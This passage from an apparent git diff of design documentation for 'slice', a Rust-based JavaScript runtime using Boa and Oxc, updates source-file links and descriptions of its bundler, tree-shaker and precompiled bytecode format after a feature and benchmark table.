**`229.66 us` -> `0.02 us - 0.27 us`** (**`>1,000x` faster**) | -| **Pre-Warmed `Boa` Pool (`BOA_CONTEXT_POOL`)** | Repeated realm intrinsic creation & JS prelude eval | `01-fintech-checkout` isolate exec dropped **`5.11 ms` -> `0.21 ms`** (**`24.3x` faster**) | -| **Oxc Semantic/AST Dead-Export Tree-Shaking & Cold-Method `require` Inliner (`slice-cas`)** | Bundling unused `hono`, `radix3`, `ufo`, `semver`, & barrel exports or eagerly loading cold class methods | **Zero framework-specific hacks**; `01-hono-edge-microservice` (`13.11 ms` cold / `0.56 ms` warm); `02-itty-router-unjs-nitro-stack` (`15.52 ms` cold / `0.55 ms` warm) | -| **Native Rust `SemVer` + `VFS` + `Crypto` Intrinsics** | Slow interpreted JS regexes, temp-file syscalls & closures | `02-npm-ecosystem-suite` cold `.cas` **`5.41 ms`** vs Bun `29.88 ms` (**`5.52x` faster cold**) | -| **Native `Boa` Host OCap Enforcement** | Unchecked `node:fs` access inside third-party packages | **5/5 Security Vectors Contained** across `SLICEBC\x01`, `SLICESNP`, and `SLICEBOA` | -| **Zero-Alloc Isolate Spawn & `16-Byte JsValue`** | 11 heap allocations per isolate spawn + `80B` `JsValue` enum | 1,000-Tenant MicroVM Swarm **`1.43 ms` total** (`1.24 us` min, `1.27 us` P50, `1.40 us` P99 cold-start, `9.68 MB` total RSS) | -| **`SHA-NI`, `__slice_rc` Persistent Realm Cache & Oxc Semantic Lowering** | Cold CJS wrapper re-eval, dynamic `JSON.stringify` & crypto builder allocs | All 31 apps, frameworks & case studies **`5.09 ms - 42.73 ms` cold** / **`0.18 ms - 8.49 ms` warm** (**up to `165x` faster than Bun warm**) | -| **Multi-Worker `slice serve` (`--workers=N`, Keep-Alive, Pipelining, Direct `JsObject::call` & WinterTC Bridge)** | Per-request TCP handshake, `BufReader` line allocs, & `ctx.eval` re-parsing on warm HTTP requests | **`163,766 req/s` (`6.11 us/req`)** in Tier-0 CAS (**`1.68x` faster than `Bun.serve`**) and **`126,566 req/s` (`7.90 us/req`)** in Tier-1 WinterTC (**beating both `Bun.serve` and `Deno.serve`**) | -| **Sharded `Slice.kv`, Multi-Tenant `--tenant-dir` Hot-Swap, & `--deterministic` Replay** | External Redis round-trips for edge rate-limiting, server restarts on tenant deploy, & non-deterministic PRNG/clocks | **`563.26 us` for 1,001 `Slice.kv` ops** (`0.56 us/op`), zero-downtime `.cas` hot-swap, & 100% bit-for-bit SplitMix64 replay | -| **`Slice.evalSandbox`, `< 5 us` `Slice.checkpoint`/`restore`, Egress Secret Guard, & `slice mcp` Server** | 125ms Firecracker VM boot for AI agent tool calls, slow disk rollback for Tree-of-Thought, & prompt-injection secret exfiltration | **Sub-millisecond nested TypeScript sub-sandboxes with capability attenuation, `< 5 us` VFS+KV state rollback, Base64 egress secret blocking, & native JSON-RPC 2.0 MCP server** | -| **WinterTC `fetch`/`Request`/`Response`, `Response.sse`, Outbound SSRF/DLP Firewall, & `slice test` Runner** | Heavyweight external test runners, slow DB/FS test teardown, SSRF metadata attacks, & unguarded outbound `fetch()` exfiltration | **Native `export default { fetch }`, SSE token streaming, pre-connect SSRF + Egress DLP firewall, deterministic HTTP cassettes, & `< 5 us` Time-Travel rollback per unit test** | -| **Unboxed 64-Bit Numeric Register VM (`numeric_vm.rs`), Oxc AST Array Pipeline Fusion, & Dynamic SES + `Boa` `RuntimeLimits`** | Name-dependent benchmark shortcuts, intermediate `.map().reduce()` array allocations, & dynamically obfuscated `Object["proto"+"type"]` attacks | **General-purpose 32-register `[f64; 32]` numeric VM + structural recurrence lowering on any function name, Oxc AST `.filter().map().reduce()` loop fusion, & dynamic SES rollback + `Boa` loop fuel preemption** | -| **Outbound HTTPS/TLS 1.3 (`rustls`), Thread-Local Keep-Alive Pooling (`OUTBOUND_CONN_POOL`), Pre-Connect DNS SSRF Firewall, & Hop-by-Hop Redirect Guard** | Missing TLS 1.3 client support, per-request `Connection: close` socket churn, DNS-rebinding SSRF to private/metadata IPs, & unguarded `302` redirect credential leaks | **Zero-cost `OnceLock` TLS 1.3 + 256-session resumption (`0 B` overhead when unused), Keep-Alive socket reuse across `Content-Length`/chunked responses, IPv4/IPv6/mapped-IPv6 DNS SSRF blocking, & cross-origin `Authorization`/`Cookie` stripping** | -| **Deterministic Time-Travel Event Loop (`event_loop.rs`), Timer Wheel, `AbortSignal`, & Concurrent `Promise.all` Fetch Fan-Out** | Blocking sequential `Promise.all([fetch(...)])`, missing `setTimeout`/`setInterval`/`queueMicrotask`/`AbortSignal.timeout`, & slow wall-clock sleeps in retry tests | **Zero-wait Virtual Time-Warp (`66,000 ms` backoff suite in `< 50 ms`), true parallel `Promise.all` socket fan-out over shared Keep-Alive pool, `AbortSignal.timeout(ms)` deadline cancellation, & `MAX_ACTIVE_TIMERS` timer-bomb containment** | -| **WinterTC Minimum Common Web Platform API (`crypto.subtle`, `TextEncoder`/`Decoder`, WhatWG Streams, `EventTarget`, `Blob`/`File`/`FormData`, `structuredClone`)** | Missing WebCrypto `subtle` HMAC/SHA/JWK, UTF-8 `Uint8Array` encoding, `TransformStream` pipelines, `AbortSignal.any`, & cyclic `structuredClone` required by Edge frameworks | **Direct `JsArrayBuffer`/`JsUint8Array` Rust bridge (`0` JSON/hex marshaling), deterministic SplitMix64 `randomUUID`/`getRandomValues` replay, zero-alloc SHA-1/256/384/512 + HMAC-SHA256/512, & 100% Node.js parity** | -| **Real `Uint8Array` `Buffer`, Node Core Tier-1 (`events`, `path`, `crypto`, `fs/promises`, `util`, `assert`), & Oxc AST Bundler** | String-backed `Buffer` failing `instanceof Uint8Array`, fragile line-by-line ESM regex transforms, & missing `package.json` subpath `"exports"` | **True `Uint8Array` `Buffer` with wire-protocol `DataView` readers/writers, lazy IIFE-isolated `node:*` built-ins (`0 B` cold overhead), Oxc AST ESM->CJS rewriting, & 100% Node.js parity** | -| **Compile-Time Minified Sharded Preludes (`build.rs` + `src/preludes/*.js`), Self-Replacing Lazy Globals, Conditional SES Guard, & Direct Main-Thread CLI Dispatch** | Parsing ~48 KB of monolithic JS preludes on every cold CLI process launch + unnecessary 16 MB OS thread spawn on Linux | **Human-readable `src/preludes/00..10_*.js` minified at compile time via `build.rs`, `~6 KB` eager `ULTRA_CORE_PRELUDE` + 10 self-replacing lazy shards (`0 B` cost for unused APIs), conditional SES checks, & direct main-thread Linux execution** | -| **Capability-Attenuated MicroVM Web Workers (`workers.rs`, `node:worker_threads`) & 5-Ring Zero-Trust Raw TCP/TLS/UDP Sockets (`sockets.rs`, `cloudflare:sockets`, `node:net`, `node:dgram`)** | Unsafe ambient-authority OS threads, 15ms per-worker cold OS thread/realm creation, duplicate blocking `node:net` read pumps, or unguarded raw TCP/UDP sockets that bypass SSRF and Egress Secret DLP filters | **Persistent warm worker pool (`IDLE_WORKER_POOL`) + speculative pre-warming + `__SLICE_RC` worker script cache + coalesced `node:net` read pump (`App 22`: `28.08 ms` cold / `2.00 ms` warm vs Bun's `44.24 ms`), `parent ∩ child` OCap attenuation, & 5-Ring TCP/UDP socket security** | -| **Pure-Rust WebAssembly (`wasm.rs` via `wasmi` `v2.0.0`), `GLOBAL_WASM_MODULE_CACHE`, 5-Ring WASM Security Cage, & OS-Native `notify` Watcher** | Unmetered WASM loops/memory growth bypassing JS sandbox limits, repeated `.wasm` compilation across warm isolates, and 25ms directory-polling CPU overhead | **`App 23`: `9.96 ms` cold / `1.46 ms` warm (`16.38 MB` RSS vs Bun `25.02 ms` / `30.25 MB`) & `App 24`: `7.98 ms` cold / `1.20 ms` warm (`14.12 MB` RSS vs Bun `25.49 ms` / `29.38 MB`), 5-Ring WASM fuel/memory preemption, & `4.92 ms` `notify` watch reruns** | diff --git a/docs/system/01_cas_bundler_and_oxc_compiler.md b/docs/system/01_cas_bundler_and_oxc_compiler.md index baa04d6..dfbda17 100644 --- a/docs/system/01_cas_bundler_and_oxc_compiler.md +++ b/docs/system/01_cas_bundler_and_oxc_compiler.md @@ -6,22 +6,22 @@ ## 1. Production Rust TypeScript & JSX/TSX Compilation via Oxc (`v0.152.0`) -- Implemented in [`strip_typescript_raw`](../../crates/slice-cas/src/oxc_compiler.rs) using `oxc::parser::Parser`, `oxc::semantic::SemanticBuilder`, `oxc::transformer::Transformer`, and `oxc::codegen::Codegen`. +- Implemented in [`strip_typescript_raw`](../../crates/slice-cas/src/compiler/transpiler.rs) ([`compiler/mod.rs`](../../crates/slice-cas/src/compiler/mod.rs)) using `oxc::parser::Parser`, `oxc::semantic::SemanticBuilder`, `oxc::transformer::Transformer`, and `oxc::codegen::Codegen`. - **Arena-Allocated Parsing & Transformation:** Oxc parses ASTs in a bump-allocated memory arena (`oxc::allocator::Allocator`) and strips TypeScript interfaces, type aliases, generics, parameter properties, and access modifiers (`private`, `protected`, `public`, `readonly`) at native Rust speeds (3x-5x faster than SWC, 40x+ faster than `tsc`). - **Native `.tsx` / `.jsx` Compilation:** Configures `SourceType::tsx()` and `transform_options.jsx.jsx_plugin = true`, compiling JSX elements into zero-dependency `slice:jsx` (`jsx`, `jsxs`, `Fragment`, `renderToString`) calls. -- **Plain `.js` Dependency Compaction:** During [`bundle_entrypoint_with_deps`](../../crates/slice-cas/src/lib.rs), third-party `.js` files inside `node_modules/` are also passed through Oxc's parser + minifying codegen (`CodegenOptions::minify()`), stripping all JSDoc blocks, license banners, and whitespace before bundling. +- **Plain `.js` Dependency Compaction:** During [`bundle_entrypoint_with_deps`](../../crates/slice-cas/src/bundler/graph_bundler.rs), third-party `.js` files inside `node_modules/` are also passed through Oxc's parser + minifying codegen (`CodegenOptions::minify()`), stripping all JSDoc blocks, license banners, and whitespace before bundling. --- ## 2. Type-Directed Oxc Semantic Lowering & AST Array Pipeline Fusion -### 2.1 Type-Directed Oxc Semantic Lowering ([`analyze_typescript_semantics`](../../crates/slice-cas/src/oxc_compiler.rs)) +### 2.1 Type-Directed Oxc Semantic Lowering ([`analyze_typescript_semantics`](../../crates/slice-cas/src/compiler/semantics.rs)) - Before Oxc strips TypeScript types, `slice-cas` walks `oxc::parser::Parser` AST nodes (`TSInterfaceDeclaration`, `TSTypeAnnotation`, `BindingPattern`) and `oxc::semantic::SemanticBuilder` symbol tables, performing 100% AST-driven lowering: 1. Extracts exact `string` / `number` / `boolean` property schemas from `TSInterfaceDeclaration` AST nodes and variable/parameter `TSTypeAnnotation` bindings without fragile line/colon text heuristics. - 2. Lowers `Buffer.from(, ?).toString("base64" | "base64url" | "utf8")` and `Buffer.byteLength()` via Oxc AST `CallExpression` span replacement ([`rewrite_buffer_fast_paths_ast`](../../crates/slice-cas/src/esm_cjs_linker.rs)) directly to `__slice_base64_encode`, `__slice_base64_decode`, `__slice_buf_to_utf8`, and `__slice_utf8_byte_len` native Rust intrinsics without touching string literals or comments. - 3. Collects all `require("")` `CallExpression` string literal spans in a single Oxc AST pass per module ([`collect_require_edits_from_program`](../../crates/slice-cas/src/esm_cjs_linker.rs) + [`slice_with_edits`](../../crates/slice-cas/src/esm_cjs_linker.rs)), eliminating per-statement Oxc parser re-invocations and duplicate CJS parses. + 2. Lowers `Buffer.from(, ?).toString("base64" | "base64url" | "utf8")` and `Buffer.byteLength()` via Oxc AST `CallExpression` span replacement ([`rewrite_buffer_fast_paths_ast`](../../crates/slice-cas/src/linker/cjs_rewrites.rs)) directly to `__slice_base64_encode`, `__slice_base64_decode`, `__slice_buf_to_utf8`, and `__slice_utf8_byte_len` native Rust intrinsics without touching string literals or comments. + 3. Collects all `require("")` `CallExpression` string literal spans in a single Oxc AST pass per module ([`collect_require_edits_from_program`](../../crates/slice-cas/src/linker/cjs_rewrites.rs) + [`slice_with_edits`](../../crates/slice-cas/src/linker/ast_walker.rs)), eliminating per-statement Oxc parser re-invocations and duplicate CJS parses. -### 2.2 General-Purpose Oxc AST Array Pipeline Fusion ([`fuse_array_pipelines_ast`](../../crates/slice-cas/src/oxc_compiler.rs)) +### 2.2 General-Purpose Oxc AST Array Pipeline Fusion ([`fuse_array_pipelines_ast`](../../crates/slice-cas/src/compiler/pipeline_fusion.rs)) - During build/pack time, `slice-cas` parses each module's JavaScript AST via `oxc::parser::Parser` and walks call expressions to fuse chained higher-order array operations on **any** receiver expression `` into single-pass, zero-allocation `for` loop IIFEs: - `.map((x) => ).reduce((acc, curr) => , )` - `.filter((x) => ).map((y) => ).reduce((acc, curr) => , )` @@ -32,26 +32,26 @@ ## 3. ESM-First Conditional `"exports"` & General-Purpose Oxc Semantic/AST Tree-Shaker -Implemented across [`crates/slice-cas/src/resolver.rs`](../../crates/slice-cas/src/resolver.rs) and [`crates/slice-cas/src/esm_cjs_linker.rs`](../../crates/slice-cas/src/esm_cjs_linker.rs) with **zero package-specific or framework-specific rules**: +Implemented across [`crates/slice-cas/src/bundler/resolver.rs`](../../crates/slice-cas/src/bundler/resolver.rs) and [`crates/slice-cas/src/linker/mod.rs`](../../crates/slice-cas/src/linker/mod.rs) with **zero package-specific or framework-specific rules**: -1. **ESM-First `package.json` Conditional `"exports"`, Subpath `"imports"` (`#*`), & `tsconfig.json` `"paths"` Resolution ([`resolve_module_specifier`](../../crates/slice-cas/src/resolver.rs)):** - - Resolves Node.js `package.json` Subpath `"imports"` (`#internal/*`, `#config`) with exact, wildcard (`*`), and conditional target support ([`resolve_package_imports`](../../crates/slice-cas/src/resolver.rs)). - - Resolves JSONC-comment-tolerant `tsconfig.json` / `jsconfig.json` `"compilerOptions.paths"` and `"compilerOptions.baseUrl"` aliases (`@/*`, `~/*`, including `"extends"` base config inheritance) ([`resolve_tsconfig_paths`](../../crates/slice-cas/src/resolver.rs)). +1. **ESM-First `package.json` Conditional `"exports"`, Subpath `"imports"` (`#*`), & `tsconfig.json` `"paths"` Resolution ([`resolve_module_specifier`](../../crates/slice-cas/src/bundler/resolver.rs)):** + - Resolves Node.js `package.json` Subpath `"imports"` (`#internal/*`, `#config`) with exact, wildcard (`*`), and conditional target support ([`resolve_package_imports`](../../crates/slice-cas/src/bundler/resolver.rs)). + - Resolves JSONC-comment-tolerant `tsconfig.json` / `jsconfig.json` `"compilerOptions.paths"` and `"compilerOptions.baseUrl"` aliases (`@/*`, `~/*`, including `"extends"` base config inheritance) ([`resolve_tsconfig_paths`](../../crates/slice-cas/src/bundler/resolver.rs)). - Prioritizes `"workerd"`, `"worker"`, `"edge-light"`, `"import"`, `"module"`, `"browser"`, `"require"`, `"node"`, and `"default"` in `package.json` `"exports"` and top-level `"module"` before `"main"`. - Selecting ESM entrypoints (`dist/index.mjs`, `esm/index.js`) exposes static `import` / `export` declarations to Oxc's AST linker across all modern npm packages (`hono`, `itty-router`, `ufo`, `radix3`, `destr`, `ohash`, `cookie`, `flatted`, `zod`, etc.). - - Lowers `import.meta` (`url`, `dirname`, `filename`, `env`), dynamic `import("")` (`ImportExpression`), top-level `await` ([`has_top_level_await`](../../crates/slice-cas/src/esm_cjs_linker.rs)), and `__dirname` / `__filename` bindings in a single Oxc AST pass. -2. **Oxc AST Cold-Method `require` Inliner ([`inline_cold_method_requires_ast`](../../crates/slice-cas/src/esm_cjs_linker.rs)):** + - Lowers `import.meta` (`url`, `dirname`, `filename`, `env`), dynamic `import("")` (`ImportExpression`), top-level `await` ([`has_top_level_await`](../../crates/slice-cas/src/linker/ast_walker.rs)), and `__dirname` / `__filename` bindings in a single Oxc AST pass. +2. **Oxc AST Cold-Method `require` Inliner ([`inline_cold_method_requires_ast`](../../crates/slice-cas/src/linker/lazy_and_inline.rs)):** - Parses each CommonJS module with `oxc::parser::Parser` and inspects top-level `var/const/let X = require("...")` bindings. - If `X` is referenced **exclusively** inside cold class method bodies (never at top level, never in `constructor`, and never in hot dispatch methods `fetch`, `route`, `dispatch`, `match`, `handle`, `run`, `exec`), inlines `require("...")` directly into those cold method bodies and removes the top-level `require` declaration (while protecting non-computed class method/property keys via `non_computed_key_spans`). - Example impact: In `hono`'s `HonoRequest` class (`request.js`), `body.js` (`parseBody`) and `url.js` (`tryDecodeURIComponent`) are only used inside `.parseBody()`, `.param()`, and `.query()`, so they are never eagerly evaluated during basic request routing. -3. **Reverse-Topological Oxc Semantic Scope-Resolved Dead-Export Tree-Shaker ([`analyze_module_used_exports`](../../crates/slice-cas/src/esm_cjs_linker.rs) & [`prune_and_minify_cjs_module_ast`](../../crates/slice-cas/src/esm_cjs_linker.rs)):** +3. **Reverse-Topological Oxc Semantic Scope-Resolved Dead-Export Tree-Shaker ([`analyze_module_used_exports`](../../crates/slice-cas/src/linker/tree_shaker.rs) & [`prune_and_minify_cjs_module_ast`](../../crates/slice-cas/src/linker/tree_shaker.rs)):** - Computes used export sets (`UsedExports::Named(FxHashSet)` vs `UsedExports::All`) in reverse topological order from the entrypoint down to leaf `node_modules` dependencies: - Tracks `const { a, b: alias } = require("mod")` (`ObjectPattern`) and `const ns = require("mod"); ns.foo()` (`StaticMemberExpression` property accesses). - Inside `prune_and_minify_cjs_module_ast`: - Removes unused `exports. = ...` statements and unused `module.exports = __slice_default;` statements. - Runs an iterative fixed-point pass using **`oxc::semantic::SemanticBuilder`** (`scoping.get_resolved_reference_ids(sym_id).is_empty()`), which uses Oxc's full ECMAScript lexical scope resolver so shadowed single-letter local variables (`e`, `t`, `s`, `n`, `r`) inside live functions never false-keep dead top-level declarators, functions, classes, or destructured `require(...)` properties. - Emits the pruned AST with `oxc::codegen::Codegen::new().with_options(CodegenOptions::minify())`. -4. **Eager-Edge BFS Lazy Module Stringifier ([`collect_eager_module_indices`](../../crates/slice-cas/src/esm_cjs_linker.rs)):** +4. **Eager-Edge BFS Lazy Module Stringifier ([`collect_eager_module_indices`](../../crates/slice-cas/src/linker/lazy_and_inline.rs)):** - Performs a breadth-first traversal of top-level eager `require(id)` calls starting from the entrypoint. - Modules on the eager startup path are emitted as direct function expressions (`__slice_modules[id] = function(module,exports,require){...}`), while cold modules are emitted as JSON string literals (`__slice_modules[id] = "..."`) that are only compiled via `new Function` if dynamically required at runtime, skipping `Boa` lexing and AST construction for all cold transitive modules on startup. @@ -71,10 +71,10 @@ Implemented across [`crates/slice-cas/src/resolver.rs`](../../crates/slice-cas/s | Data : [64B-aligned Source/Bytecode Slice] ... | +-----------------------------------------------------------------------+ ``` -- **Default `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS (`boacas = true`) & Single-Copy CAS Deduplication ([`CasBuilder::add_module`](../../crates/slice-cas/src/lib.rs)):** - - By default (`boacas = true`), `compile_source_to_bytecode` packs bundled JavaScript into a **32-byte `BoaCasHeader` (`SLICEBC\x01`) + `SLICEBC1` recursive `CodeBlock` binary image** ([`crates/slice-engine/src/boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)) with Oxc AST deferred function module spans (`0x11` tag) and pre-fused `node:*` built-in scripts. +- **Default `SLICEBC\x01` Precompiled Boa `CodeBlock` CAS (`boacas = true`) & Single-Copy CAS Deduplication ([`CasBuilder::add_module`](../../crates/slice-cas/src/archive/builder.rs)):** + - By default (`boacas = true`), `compile_source_to_bytecode` packs bundled JavaScript into a **32-byte `BoaCasHeader` (`SLICEBC\x01`) + `SLCB\x01` recursive `CodeBlock` binary image** ([`crates/slice-engine/src/vm/boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)) with pre-fused runtime prelude shards and `node:*` built-in scripts. - When a module's compiled bytecode is `SLICEBC\x01` or `SLICEBOA`, `CasBuilder::add_module` writes only the 64B-aligned `bytecode_bytes` into `data_buffer` and aliases `source_offset` directly into the embedded fallback UTF-8 slice inside `bytecode_bytes`, eliminating duplicate source storage in `.cas` archives with zero runtime overhead. -- **Why 64-Byte Alignment & `mmap`?** When [`MappedCasArchive::open`](../../crates/slice-cas/src/lib.rs) maps the file via `memmap2::MmapOptions::map`, every bytecode slice (`get_bytecode_slice`) starts at the beginning of a hardware CPU L1/L2 cache line, avoiding split-line loads and executing **0 `stat()` or `read()` system calls**. -- **Self-Contained Executables (`SLICEEXE`):** [`embed_cas_into_executable`](../../crates/slice-cas/src/lib.rs) appends the `.cas` archive to the `slice` binary followed by a 24-byte trailer (`[u64 cas_offset][u64 cas_len][b"SLICEEXE"]`). On startup, [`MappedCasArchive::open_embedded_self`](../../crates/slice-cas/src/lib.rs) memory-maps `std::env::current_exe()` and slices directly into the embedded archive in `0.21 microseconds`. -- **Embedded Source-Line Table (`CasIndexHeader.source_map_markers`):** While `SLICEBC\x01` and `SLICEBOA` bytecode strip all `//` and `// #slice-source:` comment lines for compact execution, `CasBuilder::write_to_file` stores a compact `(compacted_line_1, "||")` table in `CasIndexHeader.source_map_markers`. [`MappedCasArchive::reconstruct_annotated_source`](../../crates/slice-cas/src/lib.rs) and [`map_bundled_error_location`](../../crates/slice-cas/src/resolver.rs) map uncaught exceptions back to their exact 1-based TypeScript `file.ts:line` even when running from `.cas` archives or standalone `SLICEEXE` binaries without source files on disk. - +- **Why 64-Byte Alignment & `mmap`?** When [`MappedCasArchive::open`](../../crates/slice-cas/src/archive/reader.rs) maps the file via `memmap2::MmapOptions::map`, every bytecode slice (`get_bytecode_slice`) starts at the beginning of a hardware CPU L1/L2 cache line, avoiding split-line loads and executing **0 `stat()` or `read()` system calls**. +- **Self-Contained Executables (`SLICEEXE`):** [`embed_cas_into_executable`](../../crates/slice-cas/src/archive/reader.rs) appends the `.cas` archive to the `slice` binary followed by a 24-byte trailer (`[u64 cas_offset][u64 cas_len][b"SLICEEXE"]`). On startup, [`MappedCasArchive::open_embedded_self`](../../crates/slice-cas/src/archive/reader.rs) memory-maps `std::env::current_exe()` and slices directly into the embedded archive in `0.21 microseconds`. +- **Embedded Source-Line Table (`CasIndexHeader.source_map_markers`):** While `SLICEBC\x01` and `SLICEBOA` bytecode strip all `//` and `// #slice-source:` comment lines for compact execution, `CasBuilder::write_to_file` stores a compact `(compacted_line_1, "||")` table in `CasIndexHeader.source_map_markers`. [`MappedCasArchive::reconstruct_annotated_source`](../../crates/slice-cas/src/archive/reader.rs) and [`map_bundled_error_location`](../../crates/slice-cas/src/bundler/source_map.rs) map uncaught exceptions back to their exact 1-based TypeScript `file.ts:line` even when running from `.cas` archives or standalone `SLICEEXE` binaries without source files on disk. +- **Zero-Stat Static Asset Table ([`StaticAssetTable`](../../crates/slice-cas/src/archive/static_assets.rs)):** Pre-computes `BLAKE3` `ETag` headers and MIME classifications at pack time for instant `304 Not Modified` edge asset serving. diff --git a/docs/system/02_tiered_execution_and_boa_vm.md b/docs/system/02_tiered_execution_and_boa_vm.md index e0f89a8..9c9629c 100644 --- a/docs/system/02_tiered_execution_and_boa_vm.md +++ b/docs/system/02_tiered_execution_and_boa_vm.md @@ -8,83 +8,86 @@ - **The Problem Eliminated:** 1. Wrapping bundled JS inside a JSON-serialized `BytecodeModule` (`SLICESNP`) required `serde_json::from_slice` to allocate and unescape a 30 KB - 130 KB `String` on every isolate run (`~229 microseconds`). - 2. Even with raw UTF-8 `SLICEBOA` framing, `boa_engine::Context::eval` had to run the full ECMAScript lexer, recursive-descent AST parser, `ScopeAnalyzer` identifier resolution, and `ByteCompiler` on `ULTRA_CORE_PRELUDE`, needed feature shards, `node:*` built-in scripts, and the user's bundled JS on every cold process launch (`~4.5 ms - 12 ms` of pure parser overhead). -- **Default `SLICEBC\x01` Precompiled `CodeBlock` Architecture ([`crates/slice-engine/src/boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs) & [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)):** + 2. Even with raw UTF-8 `SLICEBOA` framing, `boa_engine::Context::eval` had to run the full ECMAScript lexer, recursive-descent AST parser, `ScopeAnalyzer` identifier resolution, and `ByteCompiler` on `ULTRA_CORE_PRELUDE`, needed feature shards, `node:*` built-in scripts, and the user's bundled JS on every cold process launch. +- **Default `SLICEBC\x01` Precompiled `CodeBlock` Architecture ([`crates/slice-engine/src/vm/boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs) & [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)):** - By default (`boacas = true`), [`compile_source_to_bytecode`](../../crates/slice-engine/src/vm/parser_and_compiler.rs) calls [`pack_boacas_container`](../../crates/slice-engine/src/vm/boacas.rs), which emits a **32-byte `BoaCasHeader` (`b"SLICEBC\x01"`)** containing: - - `feature_flags: u16` + `shards_mask: u32`: Computed together in a **single $O(N)$ `aho_corasick::AhoCorasick` DFA pass** via [`detect_shards_and_boacas_flags`](../../crates/slice-engine/src/preludes/js_preludes.rs) inside [`compute_boacas_metadata`](../../crates/slice-engine/src/vm/boacas.rs) (eliminating all 38 separate `.contains()` linear substring scans over bundled JS). - - `rc_key: u64` + `rc_key_hex: [u8; 16]` (pre-extracted persistent realm cache fingerprint) - - `precompiled_len: u32` (`SLICEBC1` binary `CodeBlock` payload) + `fallback_js_len: u32` - - **Pre-Fused Prelude + Shards (`1..=18`) + `node:*` Built-Ins (`19..=28`) + `BUILTIN_SLICEBC_CACHE`:** At build time, `pack_boacas_container` fuses `ULTRA_CORE_PRELUDE`, all required runtime shards (`1..=18`), and all statically referenced `node:*` built-in modules (`19..=28`) directly with the user script into a **single unified `Gc`**, serialized via [`boa_engine::slice_precompile::compile_js_to_codeblock_bytes_with_deferred`](../../vendor/boa_engine/src/slice_precompile.rs). For dynamic or non-fused `require("node:*")` lookups at runtime, [`eval_lazy_builtin_module`](../../crates/slice-engine/src/preludes/node_builtins.rs) caches precompiled `SLICEBC\x01` `CodeBlock` bytes per static snippet pointer in `BUILTIN_SLICEBC_CACHE` so each built-in module is parsed and byte-compiled at most once per process. - - **Oxc AST Deferred Function Module Spans (`0x11` Tag):** For multi-module bundles (`var __slice_modules = [function(module, exports, require){...}]`), [`extract_deferred_module_function_spans_oxc`](../../crates/slice-engine/src/vm/boacas.rs) locates top-level module factory functions via `oxc::parser::Parser` and records them as 16-byte deferred spans (`0x11` tag) in `SLICEBC1`. Uncalled `node_modules` functions are never byte-compiled until invoked at runtime via Boa's `Call`/`New` VM dispatch hook ([`vendor/boa_engine/src/vm/opcode/call/mod.rs`](../../vendor/boa_engine/src/vm/opcode/call/mod.rs)). - - **Zero-Parse Runtime Execution:** At runtime, [`SliceIsolate::exec_boacas_vm`](../../crates/slice-engine/src/isolate/mod.rs) creates a bare `boa_engine::Context` (`create_bare_boa_realm`), registers only the required native Rust host functions in a single pass, deserializes the `Gc` directly from the `mmap` slice, and executes it on the VM — eliminating **100% of runtime JS lexing and parsing** (`5.11 ms` cold / `0.21 ms` warm on `01-fintech-checkout`, `13.11 ms` cold / `0.56 ms` warm on `01-hono-edge-microservice`). + - `feature_flags: u16` (`BOACAS_FLAG_HAS_WORKER`, `BOACAS_FLAG_HAS_NEXT_TICK`, `BOACAS_FLAG_HAS_HTTP_BRIDGE`, `BOACAS_FLAG_HAS_SEMVER_FAST`, `BOACAS_FLAG_HAS_KV_SANDBOX`, `BOACAS_FLAG_NEEDS_LAZY_GETTERS`, `BOACAS_FLAG_NEEDS_SES_CHECK`, `BOACAS_FLAG_IS_RC_BUNDLE`, `BOACAS_FLAG_STARTS_WITH_BRACE`) + `shards_mask: u32`: Computed together in a **single $O(N)$ `aho_corasick::AhoCorasick` DFA pass** via [`detect_shards_and_boacas_flags`](../../crates/slice-engine/src/preludes/js_preludes.rs) inside [`compute_boacas_metadata`](../../crates/slice-engine/src/vm/boacas.rs) (eliminating 38 separate `.contains()` linear substring scans over bundled JS). + - `rc_key: u64` (pre-extracted persistent realm cache fingerprint) + - `precompiled_len: u32` (`SLCB\x01` binary `CodeBlock` payload) + `fallback_js_len: u32` + - **Pre-Fused Prelude + JS Shards (`1..=18`, `29`) + `node:*` Built-Ins (`19..=28`) + `BUILTIN_SLICEBC_CACHE`:** At build time, `pack_boacas_container` fuses `ULTRA_CORE_PRELUDE`, all required runtime JS shards (`1..=18` and bit `29` in topological `SHARD_LOAD_ORDER`), and all statically referenced `node:*` built-in modules (`19..=28`) directly with the user script into a **single unified `Gc`**, serialized via [`boa_engine::Script::compile_to_slicebc`](../../vendor/boa_engine/src/script.rs). For dynamic or non-fused `require("node:*")` lookups at runtime, [`eval_lazy_builtin_module`](../../crates/slice-engine/src/preludes/node_builtins.rs) caches precompiled `SLCB\x01` `CodeBlock` bytes per static snippet pointer in `BUILTIN_SLICEBC_CACHE` so each built-in module is parsed and byte-compiled at most once per process. + - **Lazy Stringified Cold Modules:** Unreachable or cold-method `node_modules` factories deferred by [`collect_eager_module_indices`](../../crates/slice-cas/src/linker/lazy_and_inline.rs) (`__slice_modules[id] = "..."`) are skipped by `is_in_lazy_string_module_line` during shard scanning and remain inert string constants inside `SLCB\x01` until dynamically required at runtime. + - **Zero-Parse Runtime Execution:** At runtime, [`SliceIsolate::exec_boacas_vm`](../../crates/slice-engine/src/isolate/exec_boa.rs) creates a bare `boa_engine::Context` (`create_bare_boa_realm`), registers only the required native Rust host functions in a single pass, deserializes the `Gc` directly from the `mmap` slice via [`boa_engine::Script::from_slicebc_bytes`](../../vendor/boa_engine/src/script.rs), and executes it on the VM - eliminating **100% of runtime JS lexing, AST parsing, scope analysis, and bytecode compilation** on cold start (see **[`tests/reports/latest.md`](../../tests/reports/latest.md)** for measured cold and warm latencies). - **Legacy `SLICEBOA` Source-in-CAS Fallback (`--no-boacas`):** If `--no-boacas` (or `// @slice-boacas: false` / `SLICE_BOACAS=0` / `[engine] boacas = false`) is set, `compile_source_to_bytecode` emits the 8-byte `b"SLICEBOA"` header followed by raw UTF-8 transpiled JS. --- ## 2. Pre-Warmed `Boa` Context Pool (`BOA_CONTEXT_POOL`), 